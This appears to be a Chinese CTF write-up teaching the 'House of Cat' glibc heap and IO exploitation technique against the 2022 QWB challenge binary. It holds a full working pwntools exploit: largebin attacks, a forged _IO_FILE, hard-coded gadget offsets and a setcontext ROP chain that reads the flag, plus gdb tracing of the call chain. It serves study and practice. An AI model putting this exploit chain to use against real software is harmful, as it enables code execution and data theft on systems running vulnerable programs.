house of cat 学习

目录

  • 前言:
  • 利用条件
  • 例题:2022强网杯House of cat
    • 程序分析:
    • 攻击思路:
    • 利用链:
    • 利用步骤:
      • 1.泄露libc_base和heap_base
      • 2.在堆地址中伪造fake_IO_,第一次largebin attack改stderr为fake_IO
      • 3.第二次largebin attack攻击改topchunk的size触发malloc_assert,执行利用链
    • 调试理解利用链

前言:

catf1y师傅发现的一种IO利用手法,适用于任何版本(包括glibc2.35),命名为House of cat并出在2022强网杯中,此处贴出博文https://bbs.pediy.com/thread-273895.htm#msg_header_h3_6

利用条件

1.能够任意写一个可控地址。
2.能够泄露堆地址和libc基址。
3.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。

例题:2022强网杯House of cat

程序分析:

程序要先输入指定字符串登录,逆向分析后可得
要先输入一次 :LOGIN | r00t QWB QWXFadmin
然后每次循环要输入:CAT | r00t QWB QWXF\xff$
(字符串不唯一,满足题目条件即可,注意要用send送,sendline多打一个/n导致我卡了许久)
才能成功进入到堆块管理函数

add功能
用的是calloc申请,size范围为[0x418~0x46f],最多申请0xf(15)次
house of cat 学习_第1张图片
delete功能
存在uaf漏洞
house of cat 学习_第2张图片

edit功能
只能edit两次,且每次最多0x30
house of cat 学习_第3张图片
show功能
常规的show

此外程序开启了沙盒
只能使用orw读取flag的同时,read的fd要为0
可以通过rop调用close(0)来使,调用read读取文件时的fd可以为0
house of cat 学习_第4张图片

攻击思路:

1.先泄露出heap_base和libc_base
2.第一次largebin attack攻击,改stderr为我们的堆地址,在该堆地址上写入fake_IO
3.第二次largebin attack攻击,改top_chunk的size,再申请会触发malloc_assert,而malloc_assert里__fxprintf的它会根据stderr本应调用_IO_file_jumps的vtable结构里的 __xsputn,但我们控制了fake_IO修改了vtable虚表的偏移,导致它调用了_IO_wfile_jumps的__seekoff,加之我们控制内存,满足检测条件,会调用_IO_switch_to_wget_mode,最后调用_IO_WOVERFLOW。(这里都是通过偏移来调用),我们控制最后调用我们想要的函数,控制程序流,getshell

利用链:

_IO_wfile_jumps->_IO_wfile_seekoff->_IO_switch_to_wget_mode->setcontext->orw

利用步骤:

先贴出exp:

# coding=utf-8
from pwn import *
local_file  = './house_of_cat'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib64/ld-linux-x86-64.so.2'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('node4.buuoj.cn',25904 )
    libc = ELF(remote_libc)
else:
    r = gdb.debug(local_file)
    libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------
def add(idx,size,content):
    sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')
    sla('plz input your cat choice:\n','1')
    sla('plz input your cat idx:\n',str(idx))
    sla('plz input your cat size:\n',str(size))
    sea('plz input your content:\n',content)
def delete(idx):
    sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')
    sla('plz input your cat choice:\n','2')
    sla('plz input your cat idx:\n',str(idx))
def show(idx):
    sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')
    sla('plz input your cat choice:\n','3')
    sla('plz input your cat idx:\n',str(idx))
def edit(idx,content):
    sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')
    sla('plz input your cat choice:\n','4')
    sla('plz input your cat idx:\n',str(idx))
    sla('plz input your content:\n',content)
sea('mew mew mew~~~~~~\n','LOGIN | r00t QWB QWXFadmin')
#-----------leak_libc,heap_addr----------------
add(0,0x420,'aaaa')
add(1,0x430,'aaaa')
add(2,0x418,'aaaa')
delete(0)
add(3,0x430,'aaaa')
show(0)
main_arena =uu64(ru('\x7f')[-6:])-1104
libc_base=main_arena-0x219C80
info('libc_base',libc_base)
rc(10)
heap_base=uu64(rc(6))-0x290
info('heap_base',heap_base)
pop_rdi=libc_base+0x000000000002a3e5 # pop rdi ; ret
pop_rsi=libc_base+0x000000000002be51 # pop rsi ; ret
pop_rdx_r12=libc_base+0x000000000011f497 # pop rdx ; pop r12 ; ret
ret=libc_base+0x0000000000029cd6 # ret
pop_rax=libc_base+0x0000000000045eb0 # pop rax ; ret
stderr=libc_base+libc.sym['stderr']
setcontext=libc_base+libc.sym['setcontext']
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
syscall=libc_base+0x913B5 #syscall ; ret
#debug()
#-----------fake_IO_file-------------------
fake_io_addr=heap_base+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr


payload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x2480)+p64(ret)

flag_addr=heap_base+0x1c00
#-------orw----------------------------
orw=flat(pop_rdi,0,close)
orw+=flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw+=flat(pop_rdi,0,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,read)
orw+=flat(pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,write)
#--------------large_bin_attack1----------------------
delete(2)
add(6,0x418,payload1)
target=stderr
edit(0,flat(main_arena+1104,main_arena+1104,heap_base+0x290,target-0x20))
delete(6)
add(4,0x430,'aaaa')
#debug()
#--------------large_bin_attack2-------------------------
add(5,0x440,'small')
add(7,0x430,'flag')
add(8,0x430,'big')
delete(5)
add(9,0x450,orw)
delete(8)
target=heap_base+0x28d0+3
edit(5,flat(main_arena+1120,main_arena+1120,heap_base+0x17a0,target-0x20))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
#gdb.attach(r,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))
r.interactive()

1.泄露libc_base和heap_base

先释放一个堆到unsortbin中,再申请一个大于这个size的堆,就会放到largebin中,
此时这个largebin中的chunk同时存在libc地址和heap地址
uaf配合show功能即可泄露两者
house of cat 学习_第5张图片

add(0,0x420,'aaaa')
add(1,0x430,'aaaa')
add(2,0x418,'aaaa')
delete(0)
add(3,0x430,'aaaa')
show(0)
main_arena =uu64(ru('\x7f')[-6:])-1104
libc_base=main_arena-0x219C80
info('libc_base',libc_base)
rc(10)
heap_base=uu64(rc(6))-0x290
info('heap_base',heap_base)
pop_rdi=libc_base+0x000000000002a3e5 # pop rdi ; ret
pop_rsi=libc_base+0x000000000002be51 # pop rsi ; ret
pop_rdx_r12=libc_base+0x000000000011f497 # pop rdx ; pop r12 ; ret
ret=libc_base+0x0000000000029cd6 # ret
pop_rax=libc_base+0x0000000000045eb0 # pop rax ; ret
stderr=libc_base+libc.sym['stderr']
setcontext=libc_base+libc.sym['setcontext']
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
syscall=libc_base+0x913B5 #syscall ; ret

2.在堆地址中伪造fake_IO_,第一次largebin attack改stderr为fake_IO

题目中两次edit,对应两次largebin attack

libc2.31后的largebin attack:
我们能控制在large_bin中的chunkA的bk_nextsize为target-0x20(target就是我们要改写的地址)
然后如果有个在unsortbin中的chunkB,A的size要大于B的size,接着我们申请一个大于B的size的堆,
B就会放到largebin里,然后我们可以发现target就被改写为了B这个堆的地址

fake_io_addr=heap_base+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr


payload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x2480)+p64(ret)

flag_addr=heap_base+0x1c00
#--------------large_bin_attack1----------------------
delete(2)
add(6,0x418,payload1)
target=stderr
edit(0,flat(main_arena+1104,main_arena+1104,heap_base+0x290,target-0x20))
delete(6)
add(4,0x430,'aaaa')

3.第二次largebin attack攻击改topchunk的size触发malloc_assert,执行利用链

#-------orw----------------------------
orw=flat(pop_rdi,0,close)
orw+=flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw+=flat(pop_rdi,0,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,read)
orw+=flat(pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,write)
#--------------large_bin_attack2-------------------------
add(5,0x440,'small')
add(7,0x430,'flag')
add(8,0x430,'big')
delete(5)
add(9,0x450,orw)
delete(8)
target=heap_base+0x28d0+3
edit(5,flat(main_arena+1120,main_arena+1120,heap_base+0x17a0,target-0x20))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
#gdb.attach(r,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))

调试理解利用链

在最后calloc触发前gdb.attach

程序执行到calloc,si进入
house of cat 学习_第6张图片
ni一步步执行到int_malloc,si进入house of cat 学习_第7张图片
一直ni,会执行到sysmalloc,si进入

house of cat 学习_第8张图片
我们继续ni,会发现会执行malloc_assert,(因为我们改了topchunk的size为55)
house of cat 学习_第9张图片

si进入
house of cat 学习_第10张图片

__malloc_assert源码:

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
         const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
             __progname, __progname[0] ? ": " : "",
             file, line,
             function ? function : "", function ? ": " : "",
             assertion);
  fflush (stderr);
  abort ();
}

继续ni,当程序执行到__fxprintf时,si进入
house of cat 学习_第11张图片
执行到locked_vfxprintf,si进入

执行到__vfwprintf_internal,si进入
house of cat 学习_第12张图片
可以发现call的是rbp+0x38,而此时rbp是vtable我们改的指针指向_IO_wfile_jumps+16

其实本应call的vtable是_IO_file_jumps+0x38
也就是_IO_file_jumps的vtable结构里的 __xsputn
house of cat 学习_第13张图片
我们把vtable改为_IO_wfile_jumps+16
因为vtable虚表偏移了,它被指向了_IO_wfile_jumps的__seekoff
house of cat 学习_第14张图片

就是说原本要调用_IO_file_jumps-> __xsputn变为了调用_IO_wfile_jumps->__seekoff
(注意这里_IO_file_jumps,_IO_wfile_jumps不是同一个东西,只是结构相同)

接下来为了调试方便断点设在
gdb.attach(r,‘b* (_IO_wfile_seekoff)’)

_IO_wfile_seekoff源码:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;
 
  if (mode == 0)
    return do_ftell_wide (fp);
  int must_be_exact = ((fp->_wide_data->_IO_read_base
            == fp->_wide_data->_IO_read_end)
               && (fp->_wide_data->_IO_write_base
               == fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测
  bool was_writing = ((fp->_wide_data->_IO_write_ptr
               > fp->_wide_data->_IO_write_base)
              || _IO_in_put_mode (fp));
 
  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
......
}

总之就是要满足fp->_wide_data->_IO_write_ptr 大于 fp->_wide_data->_IO_write_base 这个条件
然后调用_IO_switch_to_wget_mode

_IO_switch_to_wget_mode源码:

int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  ......
}

然后要满足fp->_wide_data->_IO_write_ptr 大于 fp->_wide_data->_IO_write_base会调用_IO_WOVERFLOW

看汇编,其实都是一一对应的
house of cat 学习_第15张图片
最后这里的call qword ptr [rax + 0x18]就是我们要填的我们可以填setcontext+0x3d,或system之类的

假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax+ 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串,就可执行system(“/bin/sh”)

可以结合_IO_FILE结构对照看,这是程序原本的_IO_FILE
house of cat 学习_第16张图片
这是我们控制的fake_IO_file
house of cat 学习_第17张图片
这是我们fake_IO_fake

fake_io_addr=heap_base+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

payload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x2480)+p64(ret)

我们控制 fp->_wide_data也就是rax1即[rax+0xa0] 为heap_base+0xb30
_wide_data->_IO_write_ptr就是[rax1+0x18],也就是heap_base+0xb30+0x18,值为0
_wide_data->_IO_write_base就是[rax1+0x20],也就是heap_base+0xb30+0x20,值为fake_io_addr+0xb0
满足了大于要求(jbe是小于等于跳转,反着理解一下就行)

接着会有个rax2,即[rax1+0xe0],我们控制为heap_base+0xb40
最后会有个call [rax2+0x18],也就是heap_base+0xb40+0x18的地方的值填我们想要call的函数地址

(当然这只是一种方便空间利用的做法,_wide_data的值我们也可以填其他的)

贴一下CatF1y师傅的图
这里rdi的值就是我们fake_IO的地址
(下面那个水印csdn自动加的,不知道咋去掉)
house of cat 学习_第18张图片

接下来是setcontext,orw读取flag的内容,house of cat 学习_第19张图片
跳转至这
house of cat 学习_第20张图片
要关心的gadget也只有这三个

mov rsp, [rdx+0A0h] 
... 
push rcx 
... 
retn

离这最近的设置rdx的汇编是

mov    rdx, qword ptr [rax + 0x20]

也就是 heap_base+0xb30+0x20地址的值我们设置为fake_io_addr+0xb0
(也就是把栈帧变到了到我们堆中rop_orw链的地址)
然后fake_io_addr+0xb0+0xa0的值我们设置为rop_orw链的地址
最后注意到有个push rcx 操作,要多加个ret

最后是orw部分:
先close改fd为0
然后orw读取flag即可调用
(注意open要用syscall,用sym[‘open’]的话会用openat,破坏寄存器的值)

orw=flat(pop_rdi,0,close)
orw+=flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw+=flat(pop_rdi,0,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,read)
orw+=flat(pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,write)

最后的最后
成功读取flag
house of cat 学习_第21张图片

你可能感兴趣的:(PWN,pwn)